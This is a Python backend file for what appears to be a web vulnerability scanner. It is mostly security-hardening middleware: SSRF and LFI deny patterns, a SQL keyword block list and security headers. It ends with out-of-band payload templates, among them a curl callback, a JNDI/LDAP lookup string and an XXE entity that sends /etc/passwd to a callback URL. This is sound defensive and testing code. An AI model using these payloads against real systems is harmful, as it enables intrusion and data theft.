File size: 33,207 Bytes
c767cf7
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
import sys
import os
sys.path.insert(0, os.path.abspath('backend'))

from bs4 import BeautifulSoup
from celery import Celery
from celery.schedules import crontab
from collections import defaultdict
from scanners.base_scanner import (
    active_scan_logs, add_log, get_scan_logs, parse_domain,
    cleanup_scan_logs, schedule_log_cleanup, emit_scan_progress
)
from scanners import get_pipeline, get_phases, build_scanner, apply_scan_options
try:
    from backend.utils.fuzzer_engine import ContextAwareFuzzer
except ImportError:
    from utils.fuzzer_engine import ContextAwareFuzzer
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from datetime import datetime, timezone
from datetime import datetime, timezone, timedelta
from datetime import datetime, timezone, timezone
from dotenv import load_dotenv
load_dotenv()

import stripe
from flask import Blueprint, request, jsonify, current_app, send_from_directory
from werkzeug.utils import secure_filename
from flask import Blueprint, send_file, jsonify, request
from flask import Flask
from flask import jsonify
from flask import render_template
from flask import request, abort, g, Response, make_response
from flask_cors import CORS
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_socketio import SocketIO, emit, join_room, leave_room
from flask_sqlalchemy import SQLAlchemy
from functools import wraps
from markupsafe import escape  # always available with Flask
from reportlab.lib import colors
from reportlab.lib.pagesizes import letter
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.pdfgen import canvas
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, PageBreak, Image, Flowable
from reportlab.graphics.shapes import Drawing
from reportlab.graphics.charts.barcharts import VerticalBarChart
from sqlalchemy import event
from sqlalchemy import func
from sqlalchemy import inspect, text
from sqlalchemy import text
from sqlalchemy.engine import Engine
from typing import Any
from typing import Any, Callable
from typing import Callable
from typing import Literal
from urllib.parse import urljoin, urlparse
from urllib.parse import urlparse
import base64
import bcrypt
import concurrent.futures
from backend.utils.email_service import (
    send_welcome_email, 
    send_scan_started, 
    send_scan_completed, 
    send_scan_failed,
    send_critical_alert
)

import hashlib
import html
import io
import itertools
import json
import jwt
import math
import os
import re
import re, time, ipaddress, os, hashlib, threading
import requests
import socket
import sqlite3
import ssl
import statistics
import threading
import time
import traceback
import urllib.error
import urllib.parse
import urllib.request
import urllib3
import uuid
import ipaddress



from .extensions import db, celery, socketio, limiter
from .models import *


# --- From security_middleware.py ---
"""
security_middleware.py - WSS Security Hardening Middleware
==========================================================
Implements all 15 scan-findings remediations as Flask middleware/helpers.
Apply to any Flask app via: app = apply_security_hardening(app)

Fixes:
  FIX-1:  SSTI - safe template renderer (never passes raw user input to Jinja2)
  FIX-2:  SQL injection - parameterized query helpers + input validator
  FIX-4:  SSRF - outbound request firewall (blocks RFC-1918 + cloud metadata)
  FIX-5:  LFI - file parameter whitelist validator
  FIX-6:  MFA rate limiting - sliding-window limiter (5 attempts / 15 min)
  FIX-7:  ReDoS - safe email regex + input length limit
  FIX-10: Cache poisoning - X-Forwarded-Proto sanitizer
  FIX-11: Security headers - COOP, COEP, CORP, Referrer-Policy, Permissions-Policy
  FIX-14: Open redirect - referer/return_url allowlist validator
  FIX-15: Browser cache - no-store on authenticated/sensitive pages
"""

# ═══════════════════════════════════════════════════════════════════
# FIX-1: SSTI - Safe Template Renderer
# ═══════════════════════════════════════════════════════════════════

def safe_render(template_name: str, **context) -> str:
    """
    SSTI fix: only pass pre-defined context variables to templates.
    NEVER use render_template_string() with user input.

    Usage:
        # WRONG (vulnerable):
        render_template_string("Hello {{ name }}", name=request.args["name"])

        # RIGHT (safe):
        return safe_render("hello.html", name=request.args.get("name", ""))
    """
    # Sanitize all string context values - escape HTML to prevent XSS
    safe_context = {}
    for k, v in context.items():
        if isinstance(v, str):
            # Strip Jinja2 template syntax from user-supplied values
            v = re.sub(r'\{%.*?%\}|\{\{.*?\}\}|\{#.*?#\}', '', v, flags=re.DOTALL)
            v = str(escape(v))
        safe_context[k] = v
    return render_template(template_name, **safe_context)


def sanitize_template_input(value: str) -> str:
    """
    Strip Jinja2/Twig/SSTI syntax from any user-supplied string.
    Call on every user input before passing into any templating context.
    """
    # Remove {{ }}, {% %}, {# #} - all template expression types
    cleaned = re.sub(r'\{[{%#].*?[}%#]\}', '', value, flags=re.DOTALL)
    # Also strip raw < > to prevent HTML injection
    return cleaned.strip()


# ═══════════════════════════════════════════════════════════════════
# FIX-2: SQL Injection - Safe Query Helpers
# ═══════════════════════════════════════════════════════════════════

class SafeQueryBuilder:
    """
    Parameterized query helper. Never concatenate user input into SQL.

    Usage with SQLAlchemy:
        sqb = SafeQueryBuilder()
        results = sqb.execute(db.session, "SELECT * FROM users WHERE id = :id", {"id": user_id})

    Usage with raw psycopg2/sqlite3:
        cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))
        # NEVER:  f"SELECT * FROM products WHERE id = {product_id}"
    """
    # Blocked SQL keywords in user input (defense-in-depth)
    _BLOCKED_PATTERNS = re.compile(
        r"(--|\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b"
        r"|\bDROP\b|\bDELETE\b|\bTRUNCATE\b|\bEXEC\b|\bXP_\b|\bSLEEP\b|\bWAITFOR\b"
        r"|;|\bINFORMATION_SCHEMA\b|\bSYSOBJECTS\b|\bPG_SLEEP\b|/\*)",
        re.IGNORECASE,
    )

    @classmethod
    def validate_id(cls, value, name: str = "id") -> int:
        """Validate that a URL/form ID parameter is a plain integer. Raises ValueError otherwise."""
        try:
            int_val = int(str(value).strip())
            if int_val < 0:
                raise ValueError(f"{name} must be non-negative")
            return int_val
        except (ValueError, TypeError):
            raise ValueError(f"Invalid {name}: must be a positive integer, got {value!r}")

    @classmethod
    def validate_string(cls, value: str, max_len: int = 255, name: str = "field") -> str:
        """Validate a string parameter doesn't contain SQL injection patterns."""
        if not isinstance(value, str):
            raise ValueError(f"{name} must be a string")
        if len(value) > max_len:
            raise ValueError(f"{name} exceeds max length {max_len}")
        if cls._BLOCKED_PATTERNS.search(value):
            raise ValueError(f"Invalid characters in {name}")
        return value.strip()

    @staticmethod
    def execute(session, query: str, params: dict):
        """Execute a parameterized SQLAlchemy query safely."""
        return session.execute(text(query), params)


# ═══════════════════════════════════════════════════════════════════
# FIX-4: SSRF - Outbound Request Firewall
# ═══════════════════════════════════════════════════════════════════

_BLOCKED_SSRF_NETWORKS = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),   # AWS/Azure IMDS - CRITICAL
    ipaddress.ip_network("100.64.0.0/10"),    # Shared address space
    ipaddress.ip_network("::1/128"),          # IPv6 loopback
    ipaddress.ip_network("fc00::/7"),         # IPv6 private
]

_BLOCKED_SSRF_HOSTNAMES = frozenset({
    "localhost", "metadata.google.internal", "kubernetes.default.svc",
    "kubernetes.default", "169.254.169.254", "100.100.100.200",
})

_BLOCKED_SSRF_SCHEMES = frozenset({"file", "gopher", "dict", "ftp", "sftp", "ldap", "ldaps"})


def validate_outbound_url(url: str) -> str:
    """
    SSRF firewall - validate a user-supplied URL before fetching it.
    Raises ValueError for blocked targets.

    Usage:
        url = request.args.get("url", "")
        try:
            safe_url = validate_outbound_url(url)
        except ValueError as e:
            abort(400, str(e))
        response = requests.get(safe_url, timeout=5)
    """
    try:
        parsed = urlparse(url)
    except Exception:
        raise ValueError("Invalid URL")

    if parsed.scheme.lower() in _BLOCKED_SSRF_SCHEMES:
        raise ValueError(f"Blocked URL scheme: {parsed.scheme}")

    if parsed.scheme.lower() not in ("http", "https"):
        raise ValueError("Only http/https URLs are permitted")

    hostname = (parsed.hostname or "").lower()
    if not hostname:
        raise ValueError("URL must have a hostname")

    if hostname in _BLOCKED_SSRF_HOSTNAMES:
        raise ValueError(f"Access to {hostname} is not permitted")

    # Resolve hostname and check if it resolves to a private IP
    try:
        addrs = {info[4][0] for info in socket.getaddrinfo(hostname, None)}
        for addr in addrs:
            try:
                ip_obj = ipaddress.ip_address(addr)
                for net in _BLOCKED_SSRF_NETWORKS:
                    if ip_obj in net:
                        raise ValueError(f"Resolved IP {addr} is in a private/reserved range")
            except (ipaddress.AddressValueError, ValueError):
                raise
    except socket.gaierror:
        raise ValueError(f"Cannot resolve hostname: {hostname}")

    return url


# ═══════════════════════════════════════════════════════════════════
# FIX-5: LFI - File Parameter Whitelist Validator
# ═══════════════════════════════════════════════════════════════════

_LFI_PATTERNS = re.compile(
    r'(\.\.[\\/]|%2e%2e[\\/]|%252e%252e[\\/]|%c0%af|%c1%9c'
    r'|\/etc\/|\/proc\/|\/sys\/|php://|file://|expect://|zip://)',
    re.IGNORECASE,
)

def validate_file_param(
    filename: str,
    allowed_extensions: set | None = None,
    base_dir: str | None = None,
) -> str:
    """
    LFI fix - validate a filename parameter.
    Raises ValueError if path traversal or forbidden patterns detected.

    Usage:
        fname = request.args.get("file", "")
        try:
            safe_name = validate_file_param(fname, allowed_extensions={".pdf", ".png"}, base_dir="/var/app/uploads")
        except ValueError:
            abort(400, "Invalid file parameter")
    """
    if not filename:
        raise ValueError("File parameter is required")

    if _LFI_PATTERNS.search(filename):
        raise ValueError("Path traversal detected")

    # Strip any directory components - only allow base filename
    basename = os.path.basename(filename)
    if basename != filename:
        raise ValueError("Directory separators not allowed in file parameter")

    if allowed_extensions:
        ext = os.path.splitext(basename)[1].lower()
        if ext not in allowed_extensions:
            raise ValueError(f"File extension {ext!r} not allowed")

    if base_dir:
        full_path = os.path.realpath(os.path.join(base_dir, basename))
        if not full_path.startswith(os.path.realpath(base_dir)):
            raise ValueError("Path traversal detected via symlink")

    return basename


# ═══════════════════════════════════════════════════════════════════
# FIX-6: MFA Rate Limiting - Sliding Window (5 attempts / 15 min)
# ═══════════════════════════════════════════════════════════════════

class SlidingWindowRateLimiter:
    """
    In-memory sliding window rate limiter for MFA/OTP endpoints.

    Usage:
        _otp_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)

        @app.route("/api/mfa/verify", methods=["POST"])
        def verify_mfa():
            key = f"mfa:{current_user.id}"
            if not _otp_limiter.allow(key):
                return jsonify({"error": "too_many_attempts"}), 429
            ...
    """
    def __init__(self, max_attempts: int = 5, window_seconds: int = 900):
        self.max_attempts   = max_attempts
        self.window_seconds = window_seconds
        self._store: dict[str, list[float]] = defaultdict(list)
        self._lock = threading.Lock()

    def allow(self, key: str) -> bool:
        """Returns True if the request is within the rate limit, False if blocked."""
        now = time.monotonic()
        cutoff = now - self.window_seconds
        with self._lock:
            timestamps = self._store[key]
            # Prune old timestamps outside the window
            self._store[key] = [t for t in timestamps if t > cutoff]
            if len(self._store[key]) >= self.max_attempts:
                return False
            self._store[key].append(now)
            return True

    def reset(self, key: str) -> None:
        """Reset the counter for a key (call after successful auth)."""
        with self._lock:
            self._store.pop(key, None)

    def retry_after(self, key: str) -> int:
        """Return seconds until the oldest attempt falls outside the window."""
        now = time.monotonic()
        cutoff = now - self.window_seconds
        with self._lock:
            timestamps = [t for t in self._store.get(key, []) if t > cutoff]
            if not timestamps:
                return 0
            return int(self.window_seconds - (now - min(timestamps))) + 1


# Singleton for MFA endpoints
_mfa_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)


def mfa_rate_limit(f):
    """
    Flask decorator "- apply MFA rate limiting.
    Uses IP + user identifier as the key.

    Usage:
        @app.route("/api/mfa/verify", methods=["POST"])
        @mfa_rate_limit
        def verify_mfa():
            ...
    """
    @wraps(f)
    def wrapper(*args, **kwargs):
        # Build a stable key from IP + any user identifier in body
        ip  = request.headers.get("X-Forwarded-For", request.remote_addr or "unknown").split(",")[0].strip()
        body = request.get_json(silent=True) or {}
        uid = str(body.get("user_id", body.get("email", body.get("username", "anon"))))
        key = hashlib.sha256(f"{ip}:{uid}".encode()).hexdigest()[:32]

        if not _mfa_limiter.allow(key):
            retry = _mfa_limiter.retry_after(key)
            resp = jsonify({"error": "too_many_attempts", "retry_after": retry})
            resp.status_code = 429
            resp.headers["Retry-After"] = str(retry)
            return resp
        return f(*args, **kwargs)
    return wrapper


# ═══════════════════════════════════════════════════════════════════
# FIX-7: ReDoS - Safe Email Validator (RE2-compatible, linear time)
# ═══════════════════════════════════════════════════════════════════

# RFC 5321 simplified - NO nested quantifiers, linear time O(n)
_EMAIL_SAFE_RE = re.compile(
    r'^[a-zA-Z0-9][a-zA-Z0-9._+\-]{0,62}@[a-zA-Z0-9][a-zA-Z0-9.\-]{0,253}[a-zA-Z0-9]\.[a-zA-Z]{2,24}$'
)
MAX_EMAIL_LENGTH = 254  # RFC 5321


def validate_email_safe(email: str) -> str:
    """
    ReDoS-safe email validator.
    - Hard length cap BEFORE regex (prevents catastrophic backtracking)
    - Uses a linear-time RE2-compatible pattern (no nested quantifiers)

    Usage:
        try:
            email = validate_email_safe(request.form["email"])
        except ValueError:
            abort(400, "Invalid email address")
    """
    if not isinstance(email, str):
        raise ValueError("Email must be a string")
    email = email.strip()
    # CRITICAL: length check BEFORE regex - this alone prevents most ReDoS
    if len(email) > MAX_EMAIL_LENGTH:
        raise ValueError(f"Email too long (max {MAX_EMAIL_LENGTH} characters)")
    if not _EMAIL_SAFE_RE.match(email):
        raise ValueError("Invalid email format")
    return email.lower()


# ═══════════════════════════════════════════════════════════════════
# FIX-10: Cache Poisoning - X-Forwarded-Proto Sanitizer
# ═══════════════════════════════════════════════════════════════════

_SAFE_PROTO_RE = re.compile(r'^(https?|wss?)$', re.IGNORECASE)


def get_safe_scheme() -> str:
    """
    Cache poisoning fix: validate X-Forwarded-Proto before trusting it.
    Only accept 'http' or 'https' - reject all other values.

    Usage (in Flask before_request or ProxyFix replacement):
        scheme = get_safe_scheme()
        if scheme == "https":
            do_secure_thing()
    """
    proto = request.headers.get("X-Forwarded-Proto", "")
    if proto and _SAFE_PROTO_RE.match(proto):
        return proto.lower()
    # Fall back to the actual connection scheme
    return request.scheme


class SafeProxyFix:
    """
    Drop-in replacement for Werkzeug's ProxyFix that validates
    X-Forwarded-Proto before trusting it (prevents cache poisoning).

    Usage:
        app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)
    """
    def __init__(self, app, x_for: int = 1, x_proto: int = 1, x_host: int = 0):
        self.app     = app
        self.x_for   = x_for
        self.x_proto = x_proto
        self.x_host  = x_host

    def __call__(self, environ, start_response):
        if self.x_proto:
            proto = environ.get("HTTP_X_FORWARDED_PROTO", "")
            if _SAFE_PROTO_RE.match(proto):
                environ["wsgi.url_scheme"] = proto.lower()
            else:
                # Strip invalid/poisoned proto header
                environ.pop("HTTP_X_FORWARDED_PROTO", None)

        if self.x_for:
            forwarded_for = environ.get("HTTP_X_FORWARDED_FOR", "")
            if forwarded_for:
                # Only trust the first IP (leftmost = original client)
                first_ip = forwarded_for.split(",")[0].strip()
                try:
                    ipaddress.ip_address(first_ip)
                    environ["REMOTE_ADDR"] = first_ip
                except ValueError:
                    pass  # Invalid IP - keep original REMOTE_ADDR

        return self.app(environ, start_response)


# ═══════════════════════════════════════════════════════════════════
# FIX-11: Security Headers - Full Suite
# ═══════════════════════════════════════════════════════════════════

_SECURITY_HEADERS = {
    # Prevent clickjacking
    "X-Frame-Options": "SAMEORIGIN",
    # Prevent MIME sniffing
    "X-Content-Type-Options": "nosniff",
    # HSTS - 2 years, include subdomains, preload
    "Strict-Transport-Security": "max-age=63072000; includeSubDomains; preload",
    # XSS filter (legacy browsers)
    "X-XSS-Protection": "1; mode=block",
    # Referrer-Policy - don't leak URL to third parties
    "Referrer-Policy": "strict-origin-when-cross-origin",
    # Permissions-Policy - disable unneeded browser APIs
    "Permissions-Policy": (
        "camera=(), microphone=(), geolocation=(), payment=(), "
        "usb=(), accelerometer=(), gyroscope=(), magnetometer=()"
    ),
    # COOP - prevent cross-origin window access (XS-Leaks)
    "Cross-Origin-Opener-Policy": "same-origin",
    # COEP - require COOP isolation
    "Cross-Origin-Embedder-Policy": "require-corp",
    # CORP - prevent spectre-style cross-origin reads
    "Cross-Origin-Resource-Policy": "same-origin",
    # Certificate Transparency
    "Expect-CT": "max-age=86400, enforce",
}

def add_security_headers(response: Response) -> Response:
    """
    Flask after_request hook - adds all missing security headers.

    Usage:
        app.after_request(add_security_headers)
    """
    for header, value in _SECURITY_HEADERS.items():
        if header not in response.headers:
            response.headers[header] = value
    # Remove information-disclosure headers
    response.headers.pop("Server", None)
    response.headers.pop("X-Powered-By", None)
    return response


# ═══════════════════════════════════════════════════════════════════
# FIX-14: Open Redirect - Referer/return_url Allowlist
# ═══════════════════════════════════════════════════════════════════

def validate_redirect_url(
    url: str,
    allowed_hosts: set | None = None,
    default_url: str = "/",
) -> str:
    """
    Open redirect fix - validate a redirect URL against an allowlist.

    Usage:
        next_url = request.args.get("next", "/")
        safe_url = validate_redirect_url(next_url, allowed_hosts={"larshield.com", "www.larshield.com"})
        return redirect(safe_url)
    """
    if not url or not url.strip():
        return default_url

    url = url.strip()

    # Allow relative URLs (no host = safe)
    parsed = urlparse(url)
    if not parsed.scheme and not parsed.netloc:
        # Ensure it starts with / to prevent protocol-relative URLs
        if url.startswith("/") and not url.startswith("//"):
            return url
        return default_url

    # For absolute URLs, validate host
    host = parsed.netloc.lower().split(":")[0]  # strip port
    if allowed_hosts and host in allowed_hosts:
        return url

    # Unknown host - redirect to safe default
    return default_url


# ═══════════════════════════════════════════════════════════════════
# FIX-15: Browser Cache - No-Store on Sensitive Pages
# ═══════════════════════════════════════════════════════════════════

_SENSITIVE_PATH_PATTERNS = re.compile(
    r'^/(api|account|profile|dashboard|admin|settings|payment|checkout|invoice|report)',
    re.IGNORECASE,
)


def no_cache_sensitive(response: Response) -> Response:
    """
    Flask after_request hook - prevents browsers from caching
    authenticated/sensitive pages.

    Usage:
        app.after_request(no_cache_sensitive)
    """
    path = request.path
    if _SENSITIVE_PATH_PATTERNS.match(path) or request.method in ("POST", "PUT", "PATCH", "DELETE"):
        response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate, private, max-age=0"
        response.headers["Pragma"] = "no-cache"
        response.headers["Expires"] = "0"
    return response


# ═══════════════════════════════════════════════════════════════════
# Master installer - apply all fixes to Flask app
# ═══════════════════════════════════════════════════════════════════

def apply_security_hardening(app, allowed_redirect_hosts: set | None = None):
    """
    Apply all security fixes to a Flask application in one call.

    Usage:
        app = Flask(__name__)
        app = apply_security_hardening(app, allowed_redirect_hosts={"larshield.com"})
    """
    # FIX-10: Safe proxy fix (X-Forwarded-Proto validation)
    app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)

    # FIX-11 + FIX-15: Security headers + cache control
    app.after_request(add_security_headers)
    app.after_request(no_cache_sensitive)

    app.logger.info("[SecurityHardening] Applied: headers, cache-control, proxy-fix")
    return app


# --- From callback.py ---

CALLBACK_BASE = os.environ.get(
    "WSS_CALLBACK_BASE",
    "https://callback.internal/receive",
)


def generate_callback_id() -> str:
    return uuid.uuid4().hex[:16]


def build_callback_url(path: str = "/xss") -> str:
    cid = generate_callback_id()
    return f"{CALLBACK_BASE.rstrip('/')}/{cid}{path}"


def build_oob_domain(subdomain: str | None = None) -> str:
    base = CALLBACK_BASE.replace("https://", "").replace("http://", "").split("/")[0]
    sub = subdomain or generate_callback_id()
    return f"{sub}.{base}"


def probe_callback(callback_url: str, timeout: int = 3) -> bool:
    try:
        req = urllib.request.Request(callback_url, method="GET")
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status == 200
    except Exception:
        return False


SYNTHETIC_CALLBACKS = {
    "dns": "nslookup {oob}",
    "http": "curl {callback}",
    "ldap": "ldap://{oob}/a",
    "jndi": "${jndi:ldap://{oob}/a}",
    "xxe_oob": "<!ENTITY % file SYSTEM \"file:///etc/passwd\"><!ENTITY % oob \"<!ENTITY exfil SYSTEM '{callback}?data=%file;'>\">%oob;",
}